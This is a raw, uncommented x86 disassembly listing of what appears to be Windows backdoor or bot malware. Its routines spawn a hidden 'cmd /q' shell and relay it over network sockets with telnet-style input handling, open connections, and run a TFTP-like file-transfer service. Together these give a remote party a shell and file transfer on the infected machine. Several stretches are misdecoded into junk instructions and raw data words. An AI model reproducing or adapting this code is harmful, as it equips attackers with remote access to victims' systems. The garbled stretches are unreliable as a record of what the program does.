var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	18h
		mov	[ebp+var_4], edi
		mov	[ebp+var_8], edi
		call	sub_41AE40
		mov	esi, eax
		pop	ecx
		cmp	esi, edi
		jz	loc_41224A
		mov	ebx, ds:dword_4F1394
		lea	eax, [ebp+var_14]
		push	edi
		push	eax
		lea	eax, [ebp+var_8]
		mov	[esi], edi
		push	eax
		mov	[esi+4], edi
		push	esi
		mov	[ebp+var_14], 0Ch
		mov	[ebp+var_10], edi
		mov	[ebp+var_C], 1
		call	ebx ; dword_4F1394
		mov	edi, ds:dword_4F12FC
		test	eax, eax
		jnz	short loc_4121C3
		call	ds:dword_4F1310	; RtlGetLastWin32Error
		push	eax
		push	offset unk_44AB00
		jmp	short loc_4121E3
; ---------------------------------------------------------------------------


loc_4121C3:				; CODE XREF: sub_412160+53j
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		lea	eax, [esi+4]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	ebx ; dword_4F1394
		test	eax, eax
		jnz	short loc_4121EB
		call	ds:dword_4F1310	; RtlGetLastWin32Error
		push	eax
		push	offset unk_44AB58


loc_4121E3:				; CODE XREF: sub_412160+61j
		call	sub_41621B
		pop	ecx
		jmp	short loc_412219
; ---------------------------------------------------------------------------


loc_4121EB:				; CODE XREF: sub_412160+75j
		push	[ebp+arg_0]
		push	[ebp+var_8]
		push	[ebp+var_4]
		call	sub_412259
		add	esp, 0Ch
		mov	[esi+8], eax
		push	[ebp+var_4]
		call	edi ; dword_4F12FC
		push	[ebp+var_8]
		call	edi ; dword_4F12FC
		cmp	dword ptr [esi+8], 0
		jnz	short loc_41224E
		push	offset unk_44ABB0
		call	sub_4161A7


loc_412219:				; CODE XREF: sub_412160+89j
		cmp	[ebp+var_4], 0
		pop	ecx
		jz	short loc_412225
		push	[ebp+var_4]
		call	edi ; dword_4F12FC


loc_412225:				; CODE XREF: sub_412160+BEj
		cmp	[ebp+var_8], 0
		jz	short loc_412230
		push	[ebp+var_8]
		call	edi ; dword_4F12FC


loc_412230:				; CODE XREF: sub_412160+C9j
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_412239
		push	eax
		call	edi ; dword_4F12FC


loc_412239:				; CODE XREF: sub_412160+D4j
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_412243
		push	eax
		call	edi ; dword_4F12FC


loc_412243:				; CODE XREF: sub_412160+DEj
		push	esi
		call	sub_41B8B0
		pop	ecx


loc_41224A:				; CODE XREF: sub_412160+1Dj
		xor	eax, eax
		jmp	short loc_412254
; ---------------------------------------------------------------------------


loc_41224E:				; CODE XREF: sub_412160+ADj
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		mov	eax, esi


loc_412254:				; CODE XREF: sub_412160+ECj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_412160	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412259	proc near		; CODE XREF: sub_412160+94p

var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	ebx
		push	esi
		push	edi
		push	44h
		pop	edi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_58]
		push	esi
		push	eax
		mov	[ebp+var_4], esi
		call	sub_41D100
		push	10h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_41D100
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		add	esp, 18h
		mov	[ebp+var_20], eax
		lea	eax, [ebp+var_18]
		mov	[ebp+var_58], edi
		mov	edi, ds:dword_4F1390
		push	esi
		push	1
		push	2
		push	eax
		mov	[ebp+var_54], esi
		mov	[ebp+var_4C], esi
		mov	[ebp+var_50], esi
		mov	[ebp+var_3C], esi
		mov	[ebp+var_40], esi
		mov	[ebp+var_44], esi
		mov	[ebp+var_48], esi
		mov	[ebp+var_28], si
		mov	[ebp+var_24], esi
		mov	[ebp+var_26], si
		mov	[ebp+var_2C], 101h
		mov	[ebp+var_1C], ebx
		call	edi ; dword_4F1390
		push	eax
		push	ebx
		call	edi ; dword_4F1390
		push	eax
		call	near ptr 3D0000h
		xchg	eax, edi
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	esi
		push	esi
		push	esi
		push	1
		push	esi
		push	esi
		push	offset aCmdQ	; "cmd /q"
		push	esi
		call	near ptr 3D0000h
		insb
		test	eax, eax
		jz	short loc_412315
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_C]
		imul	eax, 234h
		push	[ebp+var_10]
		mov	esi, [ebp+var_14]
		mov	ds:dword_4523C0[eax], ecx
		call	ds:dword_4F12FC	; CloseHandle
		jmp	short loc_41232B
; ---------------------------------------------------------------------------


loc_412315:				; CODE XREF: sub_412259+9Aj
		call	ds:dword_4F1310	; RtlGetLastWin32Error
		push	eax
		push	offset unk_44ABF8
		call	sub_41621B
		mov	esi, [ebp+var_4]
		pop	ecx
		pop	ecx


loc_41232B:				; CODE XREF: sub_412259+BAj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_412259	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412332	proc near		; DATA XREF: seg000:0041204Eo

var_1B0		= byte ptr -1B0h
var_C8		= byte ptr -0C8h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1B0h
		push	ebx
		push	esi
		mov	ebx, ds:dword_4F1374
		push	edi
		mov	edi, [ebp+arg_0]
		lea	eax, [ebp+arg_0]
		push	0
		push	eax
		lea	eax, [ebp+var_C8]
		push	0C8h
		push	eax
		push	dword ptr [edi]


loc_41235B:				; CODE XREF: sub_412332+8Fj
		call	ebx ; dword_4F1374
		test	eax, eax
		jz	short loc_4123C3
		xor	eax, eax
		xor	dl, dl
		xor	esi, esi
		cmp	[ebp+arg_0], eax
		jbe	short loc_412396


loc_41236C:				; CODE XREF: sub_412332+62j
		mov	cl, [ebp+esi+var_C8]
		cmp	cl, 0Ah
		jnz	short loc_412386
		cmp	dl, 0Dh
		jz	short loc_412386
		mov	[ebp+eax+var_1B0], 0Dh
		inc	eax


loc_412386:				; CODE XREF: sub_412332+44j
					; sub_412332+49j
		mov	[ebp+eax+var_1B0], cl
		inc	eax
		inc	esi
		mov	dl, cl
		cmp	esi, [ebp+arg_0]
		jb	short loc_41236C


loc_412396:				; CODE XREF: sub_412332+38j
		push	0
		push	eax
		lea	eax, [ebp+var_1B0]
		push	eax
		push	dword ptr [edi+0Ch]
		call	ds:dword_451540
		test	eax, eax
		jle	short loc_4123C3
		lea	eax, [ebp+arg_0]
		push	0
		push	eax
		lea	eax, [ebp+var_C8]
		push	0C8h
		push	eax
		push	dword ptr [edi]
		jmp	short loc_41235B
; ---------------------------------------------------------------------------


loc_4123C3:				; CODE XREF: sub_412332+2Dj
					; sub_412332+79j
		mov	esi, ds:dword_4F1310
		call	esi ; dword_4F1310
		cmp	eax, 6Dh
		jz	short loc_4123DF
		call	esi ; dword_4F1310
		push	eax
		push	offset unk_44AC48
		call	sub_41621B
		pop	ecx
		pop	ecx


loc_4123DF:				; CODE XREF: sub_412332+9Cj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_412332	endp

; ---------------------------------------------------------------------------


loc_4123E4:				; DATA XREF: seg000:00412080o
		push	ebp
		mov	ebp, esp
		sub	esp, 0DCh
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+8]
		xor	esi, esi
		mov	[ebp-10h], ebx
		mov	[ebp-0Ch], ebx


loc_4123FD:				; CODE XREF: seg000:0041241Dj
					; seg000:004124BBj ...
		push	ebx
		lea	eax, [ebp+0Bh]
		push	1
		push	eax
		push	dword ptr [edi+0Ch]
		call	ds:dword_45150C
		test	eax, eax
		jle	loc_412502
		cmp	[ebp-10h], ebx
		jbe	short loc_41241F
		dec	dword ptr [ebp-10h]
		jmp	short loc_4123FD
; ---------------------------------------------------------------------------


loc_41241F:				; CODE XREF: seg000:00412418j
		mov	al, [ebp+0Bh]
		movsx	ecx, al
		cmp	ecx, 0FFh
		jz	loc_4124E2
		cmp	al, 8
		mov	[ebp-0Ch], ebx
		jz	short loc_41248F
		cmp	al, 7Fh
		jz	short loc_41248F
		cmp	al, 3
		jnz	short near ptr loc_412447+3
		push	ebx
		push	ebx
		call	near ptr 3D0000h


loc_412447:				; CODE XREF: seg000:0041243Ej
		mov	esp, 153C6CEBh
		jnz	short loc_41246C
		xor	esi, esi
		mov	byte ptr [ebp-8], 20h
		mov	byte ptr [ebp-7], 58h
		mov	byte ptr [ebp-6], 58h
		mov	byte ptr [ebp-5], 58h
		mov	byte ptr [ebp-4], 0Dh
		mov	byte ptr [ebp-3], 0Ah
		push	6
		jmp	short loc_4124A2
; ---------------------------------------------------------------------------


loc_41246C:				; CODE XREF: seg000:0041244Cj
		mov	[ebp+esi-0DCh],	al
		inc	esi
		push	1
		cmp	al, 0Dh
		mov	[ebp-8], al
		pop	ecx
		jnz	short loc_4124A3
		mov	byte ptr [ebp+esi-0DCh], 0Ah
		mov	byte ptr [ebp-7], 0Ah
		inc	esi
		push	2
		jmp	short loc_4124A2
; ---------------------------------------------------------------------------


loc_41248F:				; CODE XREF: seg000:00412436j
					; seg000:0041243Aj
		cmp	esi, ebx
		jbe	short loc_4124B9
		dec	esi
		mov	byte ptr [ebp-8], 8
		mov	byte ptr [ebp-7], 20h
		mov	byte ptr [ebp-6], 8
		push	3


loc_4124A2:				; CODE XREF: seg000:0041246Aj
					; seg000:0041248Dj
		pop	ecx


loc_4124A3:				; CODE XREF: seg000:0041247Cj
		push	ebx
		lea	eax, [ebp-8]
		push	ecx
		push	eax
		push	dword ptr [edi+0Ch]
		call	ds:dword_451540
		test	eax, eax
		jle	short loc_412502
		mov	al, [ebp+0Bh]


loc_4124B9:				; CODE XREF: seg000:00412491j
		cmp	al, 0Dh
		jnz	loc_4123FD
		lea	eax, [ebp-14h]
		push	ebx
		push	eax
		lea	eax, [ebp-0DCh]
		push	esi
		push	eax
		push	dword ptr [edi+4]
		call	near ptr 3D0000h
		mov	eax, [ebp+332774C0h]
		imul	cl
		sbb	edi, edi
; ---------------------------------------------------------------------------
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_4124E2:				; CODE XREF: seg000:0041242Bj
		cmp	[ebp-0Ch], ebx
		jnz	short loc_4124F3
		mov	dword ptr [ebp-0Ch], 1
		jmp	loc_4123FD
; ---------------------------------------------------------------------------


loc_4124F3:				; CODE XREF: seg000:004124E5j
		mov	dword ptr [ebp-10h], 0Ah
		mov	[ebp-0Ch], ebx
		jmp	loc_4123FD
; ---------------------------------------------------------------------------


loc_412502:				; CODE XREF: seg000:0041240Fj
					; seg000:004124B4j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_412507:				; DATA XREF: seg000:004082FBo
		push	ebp
		mov	ebp, esp
		sub	esp, 2D4h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	10h
		mov	esi, eax
		pop	ebx
		lea	edi, [ebp-0D4h]
		push	2Ch
		mov	[ebp-4], ebx
		pop	ecx
		rep movsd
		push	1
		xor	esi, esi
		pop	edi
		mov	[eax+0A8h], edi
		push	ebx
		lea	eax, [ebp-14h]
		push	esi
		push	eax
		call	sub_41D100
		add	esp, 0Ch
		mov	word ptr [ebp-14h], 2
		push	dword ptr [ebp-40h]
		call	ds:dword_4514F4
		push	6
		push	edi
		push	2
		mov	[ebp-12h], ax
		mov	[ebp-10h], esi
		call	ds:dword_451570
		mov	edi, eax
		mov	eax, [ebp-3Ch]
		imul	eax, 234h
		push	ebx
		mov	ds:dword_4523C4[eax], edi
		lea	eax, [ebp-14h]
		push	eax
		push	edi
		call	ds:dword_451520
		test	eax, eax
		jnz	loc_4126A9
		push	0Ah
		push	edi
		call	ds:dword_45151C
		test	eax, eax
		jnz	loc_4126A9
		push	dword ptr [ebp-40h]
		push	dword ptr [ebp-0D4h]
		call	sub_402617
		pop	ecx
		push	eax
		lea	eax, [ebp-2D4h]
		push	offset unk_44AC9C
		push	eax
		call	sub_41D260
		add	esp, 10h
		cmp	[ebp-30h], esi
		jnz	short loc_4125E2
		push	esi
		lea	eax, [ebp-2D4h]
		push	dword ptr [ebp-34h]
		push	eax
		lea	eax, [ebp-0D0h]
		push	eax
		push	dword ptr [ebp-0D4h]
		call	sub_40145D
		add	esp, 14h


loc_4125E2:				; CODE XREF: seg000:004125C0j
					; seg000:00412679j ...
		lea	eax, [ebp-2D4h]
		push	eax
		call	sub_4161A7
		pop	ecx
		lea	eax, [ebp-4]
		push	eax
		lea	eax, [ebp-24h]
		push	eax
		push	edi
		call	ds:dword_451584
		push	dword ptr [ebp-3Ch]
		mov	ebx, eax
		movzx	eax, word ptr [ebp-22h]
		push	eax
		mov	[ebp-28h], esi
		push	dword ptr [ebp-20h]
		call	ds:dword_45157C
		push	eax
		lea	eax, [ebp-2D4h]
		push	offset unk_44ACE0
		push	eax
		call	sub_41D260
		push	ebx
		lea	eax, [ebp-2D4h]
		push	19h
		push	eax
		call	sub_408D3F
		mov	[ebp-38h], eax
		imul	eax, 234h
		mov	ecx, [ebp-3Ch]
		add	esp, 20h
		mov	ds:dword_4523BC[eax], ecx
		lea	eax, [ebp+8]
		push	eax
		lea	eax, [ebp-0D4h]
		push	esi
		push	eax
		push	offset loc_41270C
		push	esi
		push	esi
		call	ds:dword_4F131C	; CreateThread
		mov	ecx, [ebp-38h]
		imul	ecx, 234h
		cmp	eax, esi
		mov	ds:dword_4523CC[ecx], eax
		jz	short loc_412689


loc_412676:				; CODE XREF: seg000:00412687j
		cmp	[ebp-28h], esi
		jnz	loc_4125E2
		push	5
		call	ds:dword_4F12F4	; Sleep
		jmp	short loc_412676
; ---------------------------------------------------------------------------


loc_412689:				; CODE XREF: seg000:00412674j
		call	ds:dword_4F1310	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp-2D4h]
		push	offset unk_44AD3C
		push	eax
		call	sub_41D260
		add	esp, 0Ch
		jmp	loc_4125E2
; ---------------------------------------------------------------------------


loc_4126A9:				; CODE XREF: seg000:00412582j
					; seg000:00412593j
		push	edi
		call	ds:dword_451588
		push	dword ptr [ebp-40h]
		lea	eax, [ebp-2D4h]
		push	offset unk_44AD90
		push	eax
		call	sub_41D260
		add	esp, 0Ch
		cmp	[ebp-30h], esi
		jnz	short loc_4126EC
		push	esi
		lea	eax, [ebp-2D4h]
		push	dword ptr [ebp-34h]
		push	eax
		lea	eax, [ebp-0D0h]
		push	eax
		push	dword ptr [ebp-0D4h]
		call	sub_40145D
		add	esp, 14h


loc_4126EC:				; CODE XREF: seg000:004126CAj
		lea	eax, [ebp-2D4h]
		push	eax
		call	sub_4161A7
		push	dword ptr [ebp-3Ch]
		call	sub_40905B
		pop	ecx
		pop	ecx
		push	esi
		call	near ptr 3D0000h
		pop	eax
		pop	edi
		pop	esi
		pop	ebx


loc_41270C:				; DATA XREF: seg000:00412656o
		push	ebp
		mov	ebp, esp
		sub	esp, 5D4h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	2Ch
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-0C8h]
		rep movsd
		mov	esi, [ebp-2Ch]
		push	1
		mov	[ebp+8], esi
		imul	esi, 234h
		pop	edi
		lea	esi, dword_4523C4[esi]
		mov	[eax+0ACh], edi
		xor	ebx, ebx
		mov	eax, [esi]
		mov	dword ptr [ebp-8], 5
		mov	[ebp-5D0h], eax
		lea	eax, [ebp-8]
		push	eax
		push	ebx
		lea	eax, [ebp-5D4h]
		push	ebx
		push	eax
		push	ebx
		mov	[ebp-4], ebx
		mov	[ebp-5D4h], edi
		call	ds:dword_4514DC
		test	eax, eax
		jnz	short near ptr loc_41278C+1
		push	dword ptr [esi]
		call	ds:dword_451588
		push	dword ptr [ebp+8]
		call	sub_40905B
		pop	ecx
		push	ebx
		call	near ptr 3D0000h


loc_41278C:				; CODE XREF: seg000:00412773j
		fist	dword ptr [ebx-73h]
		test	[eax], esi
		sti
; ---------------------------------------------------------------------------
		dw 0FFFFh
		dd 40868h, 36FF5000h, 150C15FFh, 0C0850045h, 36FF187Fh
		dd 158815FFh, 75FF0045h, 68A5E808h, 5359FFFFh, 0FBD843E8h
		dd 0BD80E5FFh, 0FFFFFB30h, 0ED850F04h, 80000001h, 0FFFB31BDh
		dd 850F01FFh, 1E0h, 74BC5D38h, 0BC458D77h, 38858D50h, 50FFFFFBh
		dd 0B113E8h, 0C0855900h, 8D617459h, 8D50BC45h, 0FFFB3885h
		dd 0DC6850FFh, 0E80044ADh, 3A13h, 40068h, 38858D00h, 53FFFFFBh
		dd 309D8850h, 0C6FFFFFBh, 0FFFB3185h, 0D9E85DFFh, 830000A8h
		dd 858D18C4h, 0FFFFFB30h, 50086A53h, 15FF36FFh,	451540h
		dd 15FF36FFh, 451588h, 0E80875FFh, 0FFFF680Fh, 0ADE85359h
		dd 10FFFBD7h, 458D106Ah, 0E85053E8h, 0A8A0h, 32858B66h
		dd 83FFFFFBh, 89660CC4h, 858BEA45h, 0FFFFFB34h,	6A57066Ah
		dd 45C76602h, 890002E8h, 15FFEC45h, 451570h, 0FF83F88Bh
		dd 0FF5D75FFh, 45148815h, 34685000h, 0E80044AEh, 397Bh
		dd 40068h, 38858D00h, 53FFFFFBh, 309D8850h, 0C6FFFFFBh
		dd 0FFFB3185h, 41E85BFFh, 830000A8h, 858D14C4h,	0FFFFFB30h
		dd 50086A53h, 15FF36FFh, 451540h, 15FF36FFh, 451588h, 0E80875FFh
		dd 0FFFF6777h, 15E85359h, 0B9FFFBD7h, 6AE8458Dh, 0FF575010h
		dd 45149C15h, 0FFF88300h, 15FF5D75h, 451488h, 0AE8C6850h
		dd 0CE80044h, 68000039h, 400h, 0FB38858Dh, 5053FFFFh, 0FB309D88h
		dd 85C6FFFFh, 0FFFFFB31h, 0A7D2E85Bh, 0C4830000h, 30858D14h
		dd 53FFFFFBh, 0FF50086Ah, 4015FF36h, 0FF004515h, 8815FF36h
		dd 0FF004515h, 8E80875h, 59FFFF67h, 0D6A6E853h,	6805FFFBh
		dd 400h, 0FB38858Dh, 5053FFFFh,	0FB309D88h, 85C6FFFFh
		dd 0FFFFFB31h, 0A786E85Ah, 0C4830000h, 30858D0Ch, 53FFFFFBh
		dd 0FF50086Ah, 4015FF36h, 0FF004515h, 39E85736h, 59000000h
		dd 15FF5759h, 451588h, 15FF36FFh, 451588h, 0E80875FFh
		dd 0FFFF66ABh, 49E85359h, 0E3FFFBD6h, 15FF36FFh, 451588h
		dd 0E80875FFh, 0FFFF6693h, 31E85359h, 98FFFBD6h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	ebx
		mov	ebx, [ebp+0Ch]
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, 400h


loc_4129E6:				; CODE XREF: seg000:00412A95j
					; seg000:00412AC5j
		mov	[ebp-100h], ebx
		mov	dword ptr [ebp-104h], 1
		xor	ecx, ecx
		lea	eax, [ebp-100h]


loc_4129FE:				; CODE XREF: seg000:00412A0Cj
		mov	edx, [ebp+8]
		cmp	[eax], edx
		jz	short loc_412A0E
		inc	ecx
		add	eax, 4
		cmp	ecx, 1
		jb	short loc_4129FE


loc_412A0E:				; CODE XREF: seg000:00412A03j
		cmp	ecx, 1
		jnz	short loc_412A23
		mov	[ebp-0FCh], edx
		mov	dword ptr [ebp-104h], 2


loc_412A23:				; CODE XREF: seg000:00412A11j
		push	esi
		lea	eax, [ebp-504h]
		push	edi
		push	eax
		call	sub_41D100
		add	esp, 0Ch
		lea	eax, [ebp-104h]
		push	edi
		push	edi
		push	edi
		push	eax
		push	edi
		call	ds:dword_4514DC
		lea	eax, [ebp-104h]
		push	eax
		push	ebx
		call	ds:dword_4513E4
		test	eax, eax
		jz	short loc_412A83
		push	edi
		lea	eax, [ebp-504h]
		push	esi
		push	eax
		push	ebx
		call	ds:dword_45150C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_412ACB
		push	edi
		push	eax
		lea	eax, [ebp-504h]
		push	eax
		push	dword ptr [ebp+8]
		call	ds:dword_451540
		cmp	eax, 0FFFFFFFFh
		jz	short loc_412ACB


loc_412A83:				; CODE XREF: seg000:00412A55j
		lea	eax, [ebp-104h]
		push	eax
		push	dword ptr [ebp+8]
		call	ds:dword_4513E4
		test	eax, eax
		jz	loc_4129E6
		push	edi
		lea	eax, [ebp-504h]
		push	esi
		push	eax
		push	dword ptr [ebp+8]
		call	ds:dword_45150C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_412ACB
		push	edi
		push	eax
		lea	eax, [ebp-504h]
		push	eax
		push	ebx
		call	ds:dword_451540
		cmp	eax, 0FFFFFFFFh
		jnz	loc_4129E6


loc_412ACB:				; CODE XREF: seg000:00412A6Aj
					; seg000:00412A81j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_412AD0:				; CODE XREF: seg000:loc_412F74p
					; DATA XREF: seg000:00407818o
		push	ebp
		mov	ebp, esp
		sub	esp, 87Ch
		mov	edx, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	1
		xor	ebx, ebx
		pop	eax
		mov	ecx, 0A9h
		mov	esi, edx
		lea	edi, [ebp-374h]
		push	ebx
		push	2
		rep movsd
		inc	dword ptr [ebp-164h]
		push	2
		mov	[ebp-10h], eax
		mov	[ebp-14h], eax
		mov	[ebp-8], eax
		mov	[edx+2A0h], eax
		call	ds:dword_451570
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_412B8B
		push	190h
		call	ds:dword_4F12F4	; Sleep
		call	ds:dword_451488
		push	eax
		lea	eax, [ebp-778h]
		push	offset dword_44AEF0
		push	eax
		call	sub_41D260
		add	esp, 0Ch
		cmp	[ebp-0D8h], ebx
		jnz	short loc_412B6B
		push	ebx
		lea	eax, [ebp-778h]
		push	dword ptr [ebp-0DCh]
		push	eax
		lea	eax, [ebp-15Ch]
		push	eax
		push	dword ptr [ebp-374h]
		call	sub_40145D
		add	esp, 14h


loc_412B6B:				; CODE XREF: seg000:00412B46j
		lea	eax, [ebp-778h]
		push	eax
		call	sub_4161A7
		push	dword ptr [ebp-168h]
		call	sub_40905B
		pop	ecx
		pop	ecx
		push	ebx
		call	near ptr 3D0000h
		setalc


loc_412B8B:				; CODE XREF: seg000:00412B18j
		lea	eax, [ebp-10h]
		push	4
		push	eax
		mov	edi, 0FFFFh
		push	4
		push	edi
		push	esi
		call	ds:dword_4514D4
		lea	eax, [ebp-14h]
		push	4
		push	eax
		push	0FFFFFFFBh
		push	edi
		push	esi
		call	ds:dword_4514D4
		mov	eax, [ebp-168h]
		push	10h
		imul	eax, 234h
		push	ebx
		mov	ds:dword_4523C4[eax], esi
		lea	eax, [ebp-2Ch]
		push	eax
		call	sub_41D100
		add	esp, 0Ch
		mov	word ptr [ebp-2Ch], 2
		push	dword ptr [ebp-160h]
		call	ds:dword_4514F4
		mov	[ebp-2Ah], ax
		lea	eax, [ebp-2Ch]
		push	10h
		push	eax
		push	esi
		mov	[ebp-28h], ebx
		call	ds:dword_451520
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_412C15
		push	1388h
		call	ds:dword_4F12F4	; Sleep
		dec	dword ptr [ebp-164h]
		push	dword ptr [ebp+8]
		jmp	loc_412F74
; ---------------------------------------------------------------------------


loc_412C15:				; CODE XREF: seg000:00412BFAj
		lea	eax, [ebp-370h]
		push	offset dword_44AF4C
		push	eax
		call	sub_41D0E0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp-4], eax
		jnz	short loc_412C93
		push	190h
		call	ds:dword_4F12F4	; Sleep
		lea	eax, [ebp-370h]
		push	eax
		lea	eax, [ebp-778h]
		push	offset dword_44AF50
		push	eax
		call	sub_41D260
		push	ebx
		lea	eax, [ebp-778h]
		push	dword ptr [ebp-0DCh]
		push	eax
		lea	eax, [ebp-15Ch]
		push	eax
		push	dword ptr [ebp-374h]
		call	sub_40145D
		lea	eax, [ebp-778h]
		push	eax
		call	sub_4161A7
		push	dword ptr [ebp-168h]
		call	sub_40905B
		add	esp, 28h
		push	ebx
		call	near ptr 3D0000h
; ---------------------------------------------------------------------------
		db 0D9h
; ---------------------------------------------------------------------------


loc_412C93:				; CODE XREF: seg000:00412C2Dj
					; seg000:00412F2Ej
		mov	edi, [ebp+8]
		cmp	[edi+2A0h], ebx
		jz	loc_412F37
		mov	edi, 80h
		lea	eax, [ebp-0D0h]
		push	edi
		push	ebx
		push	eax
		mov	dword ptr [ebp-1Ch], 5
		mov	dword ptr [ebp-18h], 1388h
		mov	[ebp-878h], esi
		mov	dword ptr [ebp-87Ch], 1
		call	sub_41D100
		add	esp, 0Ch
		lea	eax, [ebp-1Ch]
		push	eax
		push	ebx
		lea	eax, [ebp-87Ch]
		push	ebx
		push	eax
		push	ebx
		call	ds:dword_4514DC
		test	eax, eax
		jle	loc_412F2B
		mov	al, ds:byte_4E2670
		mov	ecx, edi
		mov	[ebp-578h], al
		xor	eax, eax
		lea	edi, [ebp-577h]
		mov	dword ptr [ebp-0Ch], 10h
		rep stosd
		stosw
		stosb
		lea	eax, [ebp-0Ch]
		push	eax
		lea	eax, [ebp-3Ch]
		push	eax
		push	ebx
		lea	eax, [ebp-0D0h]
		push	80h
		push	eax
		push	esi
		call	ds:dword_4514CC
		push	dword ptr [ebp-38h]
		mov	[ebp-8], eax
		call	ds:dword_45157C
		push	eax
		lea	eax, [ebp-50h]
		push	eax
		call	sub_41D260
		cmp	[ebp-0D0h], bl
		pop	ecx
		pop	ecx
		jnz	loc_412F15
		cmp	byte ptr [ebp-0CFh], 1
		jnz	loc_412E1B
		lea	eax, [ebp-26Ch]
		push	eax
		call	sub_41AC70
		push	ebx
		push	ebx
		push	dword ptr [ebp-4]
		call	sub_4201E0
		push	dword ptr [ebp-4]
		lea	eax, [ebp-574h]
		mov	[ebp-578h], bl
		mov	byte ptr [ebp-577h], 3
		push	200h
		push	1
		push	eax
		mov	[ebp-576h], bl
		mov	byte ptr [ebp-575h], 1
		call	sub_41CDD0
		add	esp, 20h
		lea	ecx, [ebp-3Ch]
		mov	[ebp-8], eax
		add	eax, 4
		push	dword ptr [ebp-0Ch]
		push	ecx
		push	ebx
		push	eax
		lea	eax, [ebp-578h]
		push	eax
		push	esi
		call	ds:dword_451554
		lea	eax, [ebp-50h]
		push	eax
		lea	eax, [ebp-778h]
		push	offset dword_44AF9C
		push	eax
		call	sub_41D260
		add	esp, 0Ch
		cmp	[ebp-0D8h], ebx
		jnz	short loc_412E09
		push	ebx
		lea	eax, [ebp-778h]
		push	dword ptr [ebp-0DCh]
		push	eax
		lea	eax, [ebp-15Ch]
		push	eax
		push	dword ptr [ebp-374h]
		call	sub_40145D
		add	esp, 14h


loc_412E09:				; CODE XREF: seg000:00412DE4j
		lea	eax, [ebp-778h]
		push	eax
		call	sub_4161A7
		pop	ecx
		jmp	loc_412F2B
; ---------------------------------------------------------------------------


loc_412E1B:				; CODE XREF: seg000:00412D5Aj
		cmp	byte ptr [ebp-0CFh], 4
		jnz	loc_412F15
		mov	cl, [ebp-0CDh]
		mov	al, [ebp-0CEh]
		cmp	cl, 0FFh
		mov	[ebp-578h], bl
		mov	byte ptr [ebp-577h], 3
		jnz	short loc_412E58
		inc	al
		xor	cl, cl
		mov	[ebp-576h], al
		mov	[ebp-575h], bl
		jmp	short loc_412E66
; ---------------------------------------------------------------------------


loc_412E58:				; CODE XREF: seg000:00412E44j
		inc	cl
		mov	[ebp-576h], al
		mov	[ebp-575h], cl


loc_412E66:				; CODE XREF: seg000:00412E56j
		movzx	eax, al
		movzx	ecx, cl
		shl	eax, 8
		add	eax, ecx
		mov	edi, 200h
		shl	eax, 9
		sub	eax, edi
		push	ebx
		push	eax
		push	dword ptr [ebp-4]
		call	sub_4201E0
		push	dword ptr [ebp-4]
		lea	eax, [ebp-574h]
		push	edi
		push	1
		push	eax
		call	sub_41CDD0
		add	esp, 1Ch
		mov	edi, eax
		lea	eax, [ebp-3Ch]
		mov	[ebp-8], edi
		push	dword ptr [ebp-0Ch]
		push	eax
		lea	eax, [edi+4]
		push	ebx
		push	eax
		lea	eax, [ebp-578h]
		push	eax
		push	esi
		call	ds:dword_451554
		cmp	edi, ebx
		jnz	short loc_412F2B
		lea	eax, [ebp-50h]
		push	eax
		lea	eax, [ebp-778h]
		push	offset dword_44AFF4
		push	eax
		call	sub_41D260
		add	esp, 0Ch
		cmp	[ebp-0D8h], ebx
		jnz	short loc_412F00
		push	ebx
		lea	eax, [ebp-778h]
		push	dword ptr [ebp-0DCh]
		push	eax
		lea	eax, [ebp-15Ch]
		push	eax
		push	dword ptr [ebp-374h]
		call	sub_40145D
		add	esp, 14h


loc_412F00:				; CODE XREF: seg000:00412EDBj
